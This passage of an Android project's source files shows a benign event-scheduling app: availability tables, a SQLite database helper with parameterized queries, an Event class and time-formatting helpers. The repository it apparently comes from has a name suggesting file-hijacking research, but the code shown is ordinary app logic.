223 | slotHeader.setLayoutParams(cellParams);
224 | final int thisSlot = slot;
225 |
226 | slotHeader.setOnClickListener(new View.OnClickListener() {
227 | int slot = thisSlot;
228 |
229 | @Override
230 | public void onClick(View view) {
231 | selectedRow = -1;
232 | selectedSlot = slot;
233 |
234 | highlightSelection();
235 |
236 | }
237 | });
238 |
239 | header.addView(slotHeader);
240 | }
241 |
242 | header.setBackgroundColor(Color.GRAY);
243 |
244 | layout.addView(header);
245 | int count = 1;
246 | for (Map.Entry entry : userSignups.entrySet()) {
247 | TableRow signupRow = new TableRow(this);
248 |
249 | TextView username = new TextView(this);
250 | username.setPadding(10, 20, 10, 20);
251 | username.setText(entry.getKey());
252 | username.setTypeface(null, Typeface.BOLD);
253 | signupRow.addView(username);
254 | List slots = HelperMethods.listifyTimeslotInts(entry.getValue());
255 |
256 | for (int slot : currentTimeslots) {
257 | TextView avail = new TextView(this);
258 |
259 | if (slots.contains(slot)) {
260 | // User is signed up for this
261 | avail.setText("AVAILABLE");
262 | avail.setBackgroundColor(GREEN_MAT);
263 | } else if (entry.getValue().isEmpty()) {
264 | avail.setBackgroundColor(Color.RED);
265 | } else {
266 | avail.setBackgroundColor(Color.LTGRAY);
267 | }
268 | avail.setPadding(20, 20, 20, 20);
269 |
270 | signupRow.addView(avail);
271 | }
272 |
273 | final int currentRow = count;
274 |
275 | signupRow.setOnClickListener(new View.OnClickListener() {
276 | int thisRow = currentRow;
277 |
278 | @Override
279 | public void onClick(View view) {
280 | selectedRow = thisRow;
281 | highlightSelection();
282 | }
283 | });
284 |
285 | layout.addView(signupRow);
286 | count++;
287 |
288 | }
289 | }
290 |
291 | /**
292 | * This method allows for selection of a table row and displaying a user-friendly list of
293 | * the given user's availability
294 | */
295 | private void highlightSelection() {
296 | String disp;
297 | TableLayout layout = (TableLayout) findViewById(R.id.tbLayout);
298 |
299 | TableRow highlight = (TableRow)layout.getChildAt(selectedRow);
300 | if (selectedRow != -1) {
301 |
302 | String user = ((TextView)highlight.getChildAt(0)).getText().toString();
303 |
304 | disp = user + "'s Availability: " + HelperMethods.getTimeString(HelperMethods.listifyTimeslotInts((userSignups.get(user))), format);
305 | } else {
306 |
307 | String users = "";
308 | int userCount = 0;
309 |
310 | for (Map.Entry entry : userSignups.entrySet()) {
311 | if (HelperMethods.listifyTimeslotInts(entry.getValue()).contains(selectedSlot)) {
312 | userCount++;
313 | users = users + entry.getKey() + ", ";
314 | }
315 | }
316 |
317 | if (userCount > 0) users = users.substring(0, users.length() - 3);
318 |
319 | disp = "For timeslot " + HelperMethods.toTime(selectedSlot, format) + " " + userCount + " user(s) are available: " + users;
320 | }
321 |
322 | ((TextView)findViewById(R.id.tvSelectedUser)).setText(disp);
323 | }
324 |
325 | /**
326 | * This function saves the user's current availability for an event
327 | * @param v View of the button that was pressed
328 | */
329 | public void saveSelection(View v) {
330 | if (prevSignup) {
331 | // User has signed up previously, so call the update method
332 | if (dbHelper.updateSignup(currentID, currentUser, selectedTimeslots) > 0) {
333 | statusMessage.setText("Successfully saved your availability");
334 | } else {
335 | statusMessage.setText("Something went wrong");
336 | }
337 | } else {
338 | // User has not signed up before, so call the insert method
339 | if (dbHelper.addSignup(currentID,currentUser,selectedTimeslots) != -1) {
340 | statusMessage.setText("Successfully saved your availability");
341 | } else {
342 | statusMessage.setText("Somethign went wrong");
343 | }
344 | }
345 | statusMessage.show();
346 | finish();
347 | }
348 |
349 | /**
350 | * This function updates the display of the user's current selected availability.
351 | */
352 | private void updateTimeDisplay() {
353 | TextView timeDisplay = (TextView) findViewById(R.id.tvSelectedTimes);
354 |
355 | String disp = "Your Selected Availability: " + HelperMethods.getTimeString(selectedTimeslots, format);
356 |
357 | timeDisplay.setText(disp);
358 | }
359 |
360 | /**
361 | * This function updates the timeframe of the event on creation and when the 12h/24h is toggled.
362 | */
363 | private void updateTimeframe() {
364 |
365 | TextView eventTimeframe = (TextView) findViewById(R.id.tvEventTimeframe);
366 |
367 | eventTimeframe.setText("Event timeframe: " + HelperMethods.getTimeString(currentTimeslots, format));
368 | }
369 |
370 | /**
371 | * This function toggles the 12h/24h format
372 | * @param v View of the button that was pressed
373 | */
374 | public void toggleTimeFormat(View v) {
375 | format = !format;
376 |
377 | if (adminMode) {
378 | displayEventSignups();
379 | highlightSelection();
380 | } else {
381 | populateTimeslotTable();
382 |
383 | updateTimeDisplay();
384 | }
385 | updateTimeframe();
386 | }
387 | }
388 |
--------------------------------------------------------------------------------
/benign/app/src/main/java/wubbalubbadubdub/benignhw1/data/DBContract.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1.data;
2 |
3 |
4 | import android.provider.BaseColumns;
5 |
6 | /**
7 | * DBContract.java
8 | * @author Damian
9 | * @version 1.0
10 | * This class contains the contract work that will help our database class
11 | */
12 | public final class DBContract {
13 |
14 | // Version should be changed IF any schemas are MODIFIED
15 | public static final int DATABASE_VERSION = 2;
16 | public static final String DATABASE_NAME = "database.db";
17 |
18 |
19 | /**
20 | * Constructor is private so the contract can never be somehow initialized
21 | */
22 | private DBContract() {}
23 |
24 | /**
25 | * {Class} Users
26 | * This defines the columns for our Users table
27 | * @since 1.0
28 | */
29 | public static class UserTable implements BaseColumns {
30 | public static final String TABLE_NAME = "users";
31 | public static final String COLUMN_NAME_NAME = "name";
32 |
33 | public static final String CREATE_TABLE = "CREATE TABLE " +
34 | TABLE_NAME + " (" +
35 | _ID + " INTEGER PRIMARY KEY AUTOINCREMENT," +
36 | COLUMN_NAME_NAME + " TEXT COLLATE NOCASE UNIQUE);";
37 | public static final String DROP_TABLE = "DROP TABLE IF EXISTS " + TABLE_NAME;
38 | }
39 |
40 | /**
41 | * {Class} Events
42 | * This defines the columns for our Events table.
43 | * @since 1.0
44 | */
45 | public static class EventTable implements BaseColumns { // If we implement BaseColumns, we can utilize _ID as a default column
46 | public static final String TABLE_NAME = "events";
47 | public static final String COLUMN_NAME_TITLE = "title";
48 | public static final String COLUMN_NAME_TIMESLOTS = "timeslots";
49 | public static final String COLUMN_NAME_CREATOR = "creator";
50 | public static final String COLUMN_NAME_DAY = "day";
51 |
52 | public static final String CREATE_TABLE = "CREATE TABLE " +
53 | TABLE_NAME + " (" +
54 | _ID + " INTEGER PRIMARY KEY AUTOINCREMENT," +
55 | COLUMN_NAME_TITLE + " TEXT," +
56 | COLUMN_NAME_DAY + " TEXT," +
57 | COLUMN_NAME_TIMESLOTS + " TEXT," +
58 | COLUMN_NAME_CREATOR + " TEXT);";
59 | public static final String DROP_TABLE = "DROP TABLE IF EXISTS " + TABLE_NAME;
60 | }
61 |
62 | /**
63 | * {Class} Signups
64 | * This defines the columns for our Signups table
65 | * @since 1.0
66 | */
67 | public static class SignupTable implements BaseColumns {
68 | public static final String TABLE_NAME = "signups";
69 | public static final String COLUMN_NAME_EVENT = "eid";
70 | public static final String COLUMN_NAME_USER = "user";
71 | public static final String COLUMN_NAME_AVAIL = "availability";
72 |
73 | public static final String CREATE_TABLE = "CREATE TABLE " +
74 | TABLE_NAME + " (" +
75 | _ID + " INTEGER PRIMARY KEY AUTOINCREMENT," +
76 | COLUMN_NAME_EVENT + " INTEGER," +
77 | COLUMN_NAME_USER + " TEXT," +
78 | COLUMN_NAME_AVAIL + " TEXT);";
79 | public static final String DROP_TABLE = "DROP TABLE IF EXISTS " + TABLE_NAME;
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/benign/app/src/main/java/wubbalubbadubdub/benignhw1/data/DatabaseHelper.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1.data;
2 |
3 | import android.content.ContentValues;
4 | import android.content.Context;
5 | import android.database.Cursor;
6 | import android.database.sqlite.SQLiteDatabase;
7 | import android.database.sqlite.SQLiteOpenHelper;
8 |
9 | import java.util.ArrayList;
10 | import java.util.HashMap;
11 | import java.util.List;
12 | import java.util.Map;
13 |
14 | /**
15 | * DatabaseHelper.java
16 | * @author Damian, Lane
17 | * @version 1.0
18 | * This class contains helper methods that interact with the Database. This replaced the Dataclass
19 | */
20 | public class DatabaseHelper extends SQLiteOpenHelper {
21 | /**
22 | * Default constructor for the databasehelper.
23 | * @param context Always the entire application context because we want the database to be for the whole application.
24 | */
25 | public DatabaseHelper(Context context) {
26 | super(context, DBContract.DATABASE_NAME, null, DBContract.DATABASE_VERSION);
27 | }
28 |
29 | /**
30 | * Called when the DatabaseHelper class is created. Will create database tables if they do not exist.
31 | * @param db Current writable database
32 | */
33 | @Override
34 | public void onCreate(SQLiteDatabase db) {
35 | // Create all tables
36 | db.execSQL(DBContract.UserTable.CREATE_TABLE);
37 | db.execSQL(DBContract.EventTable.CREATE_TABLE);
38 | db.execSQL(DBContract.SignupTable.CREATE_TABLE);
39 | }
40 |
41 | /**
42 | * Called when the database version is changed in DBContract
43 | * @param db Current writable database
44 | * @param oldVersion Old version of DB. Set in DBContract
45 | * @param newVersion New version of DB. Set in DBContract
46 | */
47 | @Override
48 | public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
49 | // Delete all tables
50 | db.execSQL(DBContract.UserTable.DROP_TABLE);
51 | db.execSQL(DBContract.EventTable.DROP_TABLE);
52 | db.execSQL(DBContract.SignupTable.DROP_TABLE);
53 | onCreate(db);
54 | }
55 |
56 | //region User Table Methods
57 |
58 | /**
59 | *
60 | * @param name the name of the new user to add
61 | * @return -1 for failure, otherwise will return the row inserted at.
62 | */
63 | public long addUser(String name) {
64 | SQLiteDatabase db = this.getWritableDatabase(); // is this okay?
65 |
66 | ContentValues values = new ContentValues();
67 | values.put(DBContract.UserTable.COLUMN_NAME_NAME, name);
68 |
69 | return db.insert(DBContract.UserTable.TABLE_NAME, null, values);
70 | }
71 |
72 | /**
73 | * This method queries our User table for all Usernames
74 | * @return List of strings containing all users
75 | */
76 | public List getUsers() {
77 | SQLiteDatabase db = this.getReadableDatabase();
78 |
79 | // Even though we only get one column, SQLiteDatabase.query() requires a string array
80 | String[] columns = {
81 | DBContract.UserTable.COLUMN_NAME_NAME
82 | };
83 | String sortOrder = DBContract.UserTable.COLUMN_NAME_NAME + " COLLATE NOCASE ASC";
84 |
85 | Cursor query = db.query(
86 | DBContract.UserTable.TABLE_NAME,
87 | columns,
88 | null, null, null, null,
89 | sortOrder
90 | );
91 |
92 | List names = new ArrayList<>();
93 | while (query.moveToNext()) {
94 | String name = query.getString(query.getColumnIndexOrThrow(DBContract.UserTable.COLUMN_NAME_NAME));
95 | names.add(name);
96 | }
97 |
98 | query.close();
99 |
100 | return names;
101 | }
102 |
103 | //endregion
104 |
105 |
106 |
107 | //region Event Table Methods
108 |
109 | /**
110 | * This function will add an event to the event table
111 | * @param e - Event object passed when the save button is clicked with valid event params
112 | * @return event ID
113 | * @since 1.0
114 | */
115 | public int addEvent(Event e) {
116 |
117 | SQLiteDatabase db = this.getWritableDatabase();
118 | ContentValues values = new ContentValues();
119 |
120 | values.put(DBContract.EventTable.COLUMN_NAME_TITLE, e.getName());
121 | values.put(DBContract.EventTable.COLUMN_NAME_TIMESLOTS, e.getTimeslots());
122 | values.put(DBContract.EventTable.COLUMN_NAME_CREATOR, e.getCreator());
123 | values.put(DBContract.EventTable.COLUMN_NAME_DAY, e.getDate());
124 |
125 | db.insert(DBContract.EventTable.TABLE_NAME, null, values); //Perform insertion
126 |
127 | //Get the ID of the event we just created and return it
128 | String[] columns = {DBContract.EventTable._ID};
129 | String sortOrder = DBContract.EventTable._ID + " DESC";
130 |
131 |
132 | Cursor query = db.query(
133 | DBContract.EventTable.TABLE_NAME,
134 | columns,
135 | null, null, null, null,
136 | sortOrder
137 | );
138 | query.moveToNext();
139 | int eventID = Integer.parseInt(query.getString(query.getColumnIndexOrThrow(DBContract.EventTable._ID)));
140 | query.close();
141 |
142 | return eventID;
143 | }
144 |
145 | /**
146 | * This function will get all events from the event table
147 | * @return A sorted ArrayList of Events from the Database
148 | * @since 1.0
149 | */
150 | public ArrayList getAllEvents() {
151 |
152 | SQLiteDatabase db = this.getReadableDatabase();
153 |
154 | ArrayList sortedListOfEvents = new ArrayList<>(); // Will be sorted through SQL
155 |
156 | String[] columns = {
157 | DBContract.EventTable._ID,
158 | DBContract.EventTable.COLUMN_NAME_TITLE,
159 | DBContract.EventTable.COLUMN_NAME_TIMESLOTS,
160 | DBContract.EventTable.COLUMN_NAME_CREATOR,
161 | DBContract.EventTable.COLUMN_NAME_DAY
162 | };
163 |
164 | //Sort by day for now. Could hypothetically get weird when multiple years are involved
165 | String sortOrder = DBContract.EventTable.COLUMN_NAME_DAY + " COLLATE NOCASE ASC";
166 |
167 | Cursor query = db.query(
168 | DBContract.EventTable.TABLE_NAME,
169 | columns,
170 | null, null, null, null,
171 | sortOrder
172 | );
173 |
174 | //Populate event vector
175 | while (query.moveToNext()) {
176 |
177 | int id;
178 | String title, timeslots, creator, day;
179 |
180 | id = Integer.parseInt(query.getString(query.getColumnIndexOrThrow(DBContract.EventTable._ID)));
181 | title = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TITLE));
182 | timeslots = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TIMESLOTS));
183 | creator = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_CREATOR));
184 | day = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_DAY));
185 |
186 | //Create Event object from row and add to Vector
187 | Event e = new Event(id, day, title, creator, timeslots); // LOL This stuff was in the wrong order... Come on guys...
188 | sortedListOfEvents.add(e);
189 | }
190 |
191 | query.close();
192 |
193 | return sortedListOfEvents;
194 | }
195 |
196 | /**
197 | * Get events from given user.
198 | * @param user - Username to retrieve events for.
199 | * @return Sorted Event vector of a given user's created events
200 | */
201 | public ArrayList getUserEvents(String user) {
202 | SQLiteDatabase db = this.getReadableDatabase();
203 |
204 | ArrayList sortedListOfEvents = new ArrayList<>(); // Will be sorted through SQL
205 |
206 | String[] userArr = {user}; //(Needs to be in an array to use as a WHERE argument)
207 |
208 | String[] columns = {
209 | DBContract.EventTable._ID,
210 | DBContract.EventTable.COLUMN_NAME_TITLE,
211 | DBContract.EventTable.COLUMN_NAME_TIMESLOTS,
212 | DBContract.EventTable.COLUMN_NAME_CREATOR,
213 | DBContract.EventTable.COLUMN_NAME_DAY
214 | };
215 |
216 | //Sort by day for now. Could hypothetically get weird when multiple years are involved
217 | String sortOrder = DBContract.EventTable.COLUMN_NAME_DAY + " COLLATE NOCASE ASC";
218 |
219 | Cursor query = db.query(
220 | DBContract.EventTable.TABLE_NAME,
221 | columns,
222 | "creator = ?", userArr, null, null,
223 | sortOrder
224 | );
225 |
226 | //Populate event List
227 | while (query.moveToNext()) {
228 |
229 | int id;
230 | String title, timeslots, creator, day;
231 |
232 | id = Integer.parseInt(query.getString(query.getColumnIndexOrThrow(DBContract.EventTable._ID)));
233 | title = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TITLE));
234 | timeslots = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TIMESLOTS));
235 | creator = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_CREATOR));
236 | day = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_DAY));
237 |
238 | //Create Event object from row and add to Vector
239 | Event e = new Event(id, day, title, creator, timeslots);
240 | sortedListOfEvents.add(e);
241 | }
242 |
243 | query.close();
244 |
245 | return sortedListOfEvents;
246 | }
247 |
248 | //endregion
249 |
250 |
251 |
252 | //region Signup Table Methods
253 |
254 | /**
255 | * @param eventID ID of event in Table
256 | * @return Event object containing all event info
257 | */
258 | public Event getEvent(int eventID) {
259 |
260 | SQLiteDatabase db = this.getReadableDatabase();
261 |
262 | String[] columns = {
263 | DBContract.EventTable.COLUMN_NAME_TIMESLOTS,
264 | DBContract.EventTable.COLUMN_NAME_CREATOR,
265 | DBContract.EventTable.COLUMN_NAME_DAY,
266 | DBContract.EventTable.COLUMN_NAME_TITLE
267 | };
268 |
269 | String[] where = {Integer.toString(eventID)};
270 |
271 | Cursor query = db.query(
272 | DBContract.EventTable.TABLE_NAME,
273 | columns,
274 | "_ID = ?", where , null, null,
275 | null
276 | );
277 |
278 | query.moveToNext();
279 |
280 | String date = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_DAY));
281 | String creator = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_CREATOR));
282 | String name = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TITLE));
283 | String timeslots = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TIMESLOTS));
284 |
285 | Event returnEvent = new Event(eventID, date, name, creator, timeslots);
286 |
287 |
288 | query.close();
289 |
290 | return returnEvent;
291 | }
292 |
293 | /**
294 | * This method will add a users availability to the signup table
295 | * @param eventID int ID of event
296 | * @param user String username that is signing up
297 | * @param availability Integer List of timeslots
298 | * @return long value of the row in the table that was created
299 | */
300 | public long addSignup(int eventID, String user, List availability) {// TODO create entry in signups table
301 | SQLiteDatabase db = this.getWritableDatabase();
302 |
303 | String avail = HelperMethods.stringifyTimeslotInts(availability);
304 |
305 | ContentValues values = new ContentValues();
306 | values.put(DBContract.SignupTable.COLUMN_NAME_USER, user);
307 | values.put(DBContract.SignupTable.COLUMN_NAME_AVAIL, avail);
308 | values.put(DBContract.SignupTable.COLUMN_NAME_EVENT, eventID);
309 |
310 | return db.insert(DBContract.SignupTable.TABLE_NAME, null, values);
311 | }
312 |
313 | /**
314 | * This method will return a Hashmap of users along with availability for a given event
315 | * @param eventID int ID of event
316 | * @return Hashmap of user keypairs with availability keyvalues
317 | */
318 | public Map getSignups(int eventID) { // TODO return list of signed up users(?) for given event
319 | SQLiteDatabase db = this.getReadableDatabase();
320 | Map userSignup = new HashMap<>();
321 |
322 | String[] columns = {
323 | DBContract.SignupTable.COLUMN_NAME_USER,
324 | DBContract.SignupTable.COLUMN_NAME_AVAIL
325 | };
326 | String[] where = {Integer.toString(eventID)};
327 |
328 | Cursor query = db.query(
329 | DBContract.SignupTable.TABLE_NAME,
330 | columns,
331 | "eid = ?", where, null, null,
332 | null
333 | );
334 |
335 | while (query.moveToNext()) {
336 | userSignup.put(query.getString(query.getColumnIndexOrThrow(DBContract.SignupTable.COLUMN_NAME_USER)),
337 | query.getString(query.getColumnIndexOrThrow(DBContract.SignupTable.COLUMN_NAME_AVAIL)));
338 | }
339 |
340 | return userSignup;
341 | }
342 |
343 | /**
344 | * This method will update a given user's availability for an event.
345 | * @param eventID int ID of event
346 | * @param user String username that is changing availability
347 | * @param availability Integer List of timeslots
348 | * @return int value of the row in the table that was updated
349 | */
350 | public int updateSignup(int eventID, String user, List availability) {
351 | SQLiteDatabase db = this.getWritableDatabase();
352 |
353 | String avail = HelperMethods.stringifyTimeslotInts(availability);
354 |
355 | ContentValues values = new ContentValues();
356 | values.put(DBContract.SignupTable.COLUMN_NAME_AVAIL, avail);
357 |
358 | String selection = DBContract.SignupTable.COLUMN_NAME_USER + " = ? AND " + DBContract.SignupTable.COLUMN_NAME_EVENT + " = ?";
359 | String[] selectionArgs = {user, Integer.toString(eventID)};
360 |
361 | return db.update(
362 | DBContract.SignupTable.TABLE_NAME,
363 | values,
364 | selection,
365 | selectionArgs
366 | );
367 | }
368 |
369 |
370 |
371 | //endregion
372 | }
373 |
--------------------------------------------------------------------------------
/benign/app/src/main/java/wubbalubbadubdub/benignhw1/data/Event.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1.data;
2 |
3 |
4 | /**
5 | * Event.java
6 | * @author Damian, Lane
7 | * @version 1.0
8 | *
9 | * Event DataType for keeping track of events
10 | */
11 | public class Event implements Comparable {
12 |
13 | private int id;
14 | private String date;
15 | private String name;
16 | private String creator;
17 | private String timeslots;
18 |
19 | /**
20 | * Constructor for an Event. Events will always be constructed this way.
21 | * @param inputID int ID of the event
22 | * @param inputDate String date of format MM/DD/YYYY
23 | * @param inputName String name of the Event Title
24 | * @param inputCreator String name of the Event Creator
25 | * @param inputTimeslots String timeslot list of scheduled timeslots
26 | */
27 | public Event(int inputID, String inputDate, String inputName, String inputCreator, String inputTimeslots) {
28 | id = inputID;
29 | name = inputName;
30 | date = inputDate;
31 | creator = inputCreator;
32 | timeslots = inputTimeslots;
33 | }
34 |
35 | /**
36 | * Allows events to be compared to each other.
37 | * @param otherEvent Event object of event to compare to
38 | * @return int < 0 if given event is later than current event. int = 0 if given event is same day as current. int > 0 otherwise
39 | */
40 | public int compareTo(Event otherEvent) {
41 | int[] currentDate = HelperMethods.getMonthDayYear(date);
42 | int[] otherDate = HelperMethods.getMonthDayYear(otherEvent.getDate());
43 |
44 | if (currentDate[2] == otherDate[2]) {
45 | if (currentDate[0] == otherDate[0]) {
46 | return currentDate[1] - otherDate[1];
47 | } else {
48 | return currentDate[0] - otherDate[0];
49 | }
50 | } else {
51 | return currentDate[2] - otherDate[2];
52 | }
53 | }
54 |
55 | // We will probably not need setters.
56 |
57 | // Getters
58 |
59 | /**
60 | * Getter for the Event ID
61 | * @return int ID
62 | */
63 | public int getID() { return id; }
64 |
65 | /**
66 | * Getter for the Date String
67 | * @return String date of format MM/DD/YYYY
68 | */
69 | public String getDate() {
70 | return date;
71 | }
72 |
73 | /**
74 | * Getter for the Event Name String
75 | * @return String event name
76 | */
77 | public String getName() {
78 | return name;
79 | }
80 |
81 | /**
82 | * Getter for the Event Creator String
83 | * @return String event creator
84 | */
85 | public String getCreator() {
86 | return creator;
87 | }
88 |
89 | /**
90 | * Getter for the Event Schedule String
91 | * @return String of all timeslots for event
92 | */
93 | public String getTimeslots() {
94 | return timeslots;
95 | }
96 |
97 | }
--------------------------------------------------------------------------------
/benign/app/src/main/java/wubbalubbadubdub/benignhw1/data/HelperMethods.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.benignhw1.data;
2 |
3 | import java.util.ArrayList;
4 | import java.util.Arrays;
5 | import java.util.Calendar;
6 | import java.util.Collections;
7 | import java.util.List;
8 |
9 | /**
10 | * HelperMethods.java
11 | * @author Lane, Damian
12 | * @version 1.0
13 | * Contains methods used to assist functionality of activities
14 | */
15 | public class HelperMethods {
16 |
17 | /**
18 | * Private constructor so that this class is never initialized
19 | */
20 | private HelperMethods(){}
21 |
22 | /**
23 | * @param timeslot - int from 0-47, represents the 48 30min timeslots from 00:00-23:30
24 | * @param format - True: 24h format | False: 12h format
25 | * @return - A time formatted in either 12h or 24h format.
26 | * @since 1.0
27 | */
28 | public static String toTime(int timeslot, boolean format) {
29 |
30 | int hour;
31 | String min;
32 |
33 | //Convert 0-47 integer format to 12h or 24h format
34 | if (format) hour = timeslot / 2;
35 | else hour = (timeslot >= 26) ? ((timeslot - 24) / 2) : (timeslot / 2);
36 | min = ((timeslot % 2) == 0) ? "00" : "30";
37 | if (!format && (hour == 0)) hour = 12; //Special case: 0(int)->12:00(12h)
38 |
39 | String time = hour + ":" + min; //Build time string
40 | time = (format && (hour < 10)) ? ("0" + time) : time; //Add leading zero if needed in 24h format
41 | if (!format) time = (timeslot < 24) ? time + "am" : time + "pm"; // AM/PM for 12h format
42 |
43 | return time;
44 | }
45 |
46 | /**
47 | * @param month - month of a given date
48 | * @param day - day of a given date
49 | * @param year - year of a given date
50 | * @return a string in MM/DD/YYYY format
51 | * @since 1.0
52 | */
53 | public static String dateToString(int month, int day, int year)
54 | {return (month + "/" + day + "/" + year);}
55 |
56 | /**
57 | * @param date - A date in the string form as created by dateToString()
58 | * @return [0]: month | [1]: day | [2]: year (all ints)
59 | */
60 | /* public static int[] dateSplitString(String date) {
61 | int[] splitDate = {Integer.parseInt(date.substring(0,2)),
62 | Integer.parseInt(date.substring(3,5)),
63 | Integer.parseInt(date.substring(6))};
64 | return splitDate;
65 | }*/
66 |
67 | /**
68 | * @return a string in MM/DD/YYYY format of the current year
69 | * @since 1.0
70 | */
71 | public static int[] getCurrentDate() {
72 | Calendar cal = Calendar.getInstance();
73 | int month = cal.get(Calendar.MONTH);
74 | int day = cal.get(Calendar.DAY_OF_MONTH);
75 | int year = cal.get(Calendar.YEAR);
76 | int[] date = {month, day, year};
77 | return date;
78 | }
79 |
80 | /**
81 | * Converts List of timeslots to a readable integer string
82 | * @param timeslots - list of timeslots in integer form
83 | * @param format - 12h/24h format boolean
84 | * @return concatenated string of timeslot list
85 | */
86 | public static String getTimeString(List timeslots, boolean format) {
87 | // Sort it
88 | Collections.sort(timeslots);
89 |
90 | String timestring = "";
91 |
92 | int prevTime = -1;
93 | int workingTimeslot = -1;
94 | for(Integer slot : timeslots) {
95 | if (workingTimeslot == -1) {// First iteration
96 | workingTimeslot = slot;
97 | } else if (slot != prevTime + 1) {
98 | // Make time with workingtimeslot and prevTime
99 | timestring = timestring + toTime(workingTimeslot, format) + "-" + toTime(prevTime + 1, format) + ", ";
100 | workingTimeslot = slot;
101 | }
102 | prevTime = slot;
103 | }
104 | if (workingTimeslot != -1) {
105 | // At the end finish out the working slot.
106 | timestring = timestring + toTime(workingTimeslot, format) + "-" + toTime((prevTime + 1) % 48, format);
107 | }
108 | if (workingTimeslot == 0 && prevTime == 47) timestring = "ALL DAY LONG";
109 |
110 | if (timestring.isEmpty()) timestring = "NOT AVAILABLE AT ALL";
111 |
112 | return timestring;
113 | }
114 |
115 |
116 | /**
117 | * Counterpart to listifyTimeslotInts (list->String)
118 | * @param timeslotInts - List of timeslots in integer form
119 | * @return comma separated list of timeslots as a String for storage in db
120 | */
121 | public static String stringifyTimeslotInts(List timeslotInts) {
122 | //Build string -- will look like "0,1,2,4,5" for example
123 | String stringList = "";
124 | for (Integer slot : timeslotInts)
125 | stringList += (timeslotInts.indexOf(slot) != (timeslotInts.size() - 1)) ? (slot + ",") : slot;
126 | return stringList;
127 | }
128 |
129 | /**
130 | * Counterpart to stringifyTimeslotInts (String->list)
131 | * @param timeslotString - comma separated String list formatted for storage in db
132 | * @return List of timeslots in integer form
133 | */
134 | public static List listifyTimeslotInts(String timeslotString) {
135 | List timeslotStrs = new ArrayList<>();
136 | List timeslotInts = new ArrayList<>();
137 |
138 | timeslotStrs = Arrays.asList(timeslotString.split("\\s*,\\s*")); //Regex to interpret CSVs
139 | if (!timeslotString.isEmpty()) {
140 | for (String slot : timeslotStrs) timeslotInts.add(Integer.parseInt(slot));
141 | }
142 |
143 | return timeslotInts;
144 | }
145 |
146 | /**
147 | * Conversion of event strings to integer values
148 | * @param eventDateString String date of format MM/DD/YYYY
149 | * @return Int array with index 0 = month, 1 = day, 2 = year
150 | */
151 | public static int[] getMonthDayYear(String eventDateString) {
152 | String[] mmddyyyy = eventDateString.split("/");
153 |
154 | int[] returnArray = {Integer.parseInt(mmddyyyy[0]), Integer.parseInt(mmddyyyy[1]), Integer.parseInt(mmddyyyy[2])};
155 |
156 | return returnArray;
157 | }
158 |
159 | }
160 |
--------------------------------------------------------------------------------
/benign/app/src/main/res/layout/activity_add_event.xml:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
34 |
35 |
44 |
45 |
56 |
57 |
74 |
75 |
88 |
89 |
105 |
106 |
121 |
122 |
123 |
135 |
136 |
150 |
151 |
163 |
164 |
176 |
177 |
188 |
189 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
--------------------------------------------------------------------------------
/benign/app/src/main/res/layout/activity_list.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
24 |
25 |
36 |
37 |
48 |
49 |
60 |
61 |
70 |
71 |
74 |
75 |
81 |
82 |
83 |
84 |
97 |
98 |
--------------------------------------------------------------------------------
/benign/app/src/main/res/layout/activity_select_user.xml:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
22 |
23 |
40 |
41 |
53 |
54 |
65 |
66 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/benign/app/src/main/res/layout/activity_view.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
19 |
20 |
31 |
32 |
43 |
44 |
45 |
57 |
58 |
70 |
71 |
83 |
84 |
98 |
99 |
113 |
114 |
117 |
118 |
127 |
128 |
134 |
135 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
158 |
159 |
160 |
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-hdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-hdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-mdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/benign/app/src/main/res/mipmap-mdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/benign/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
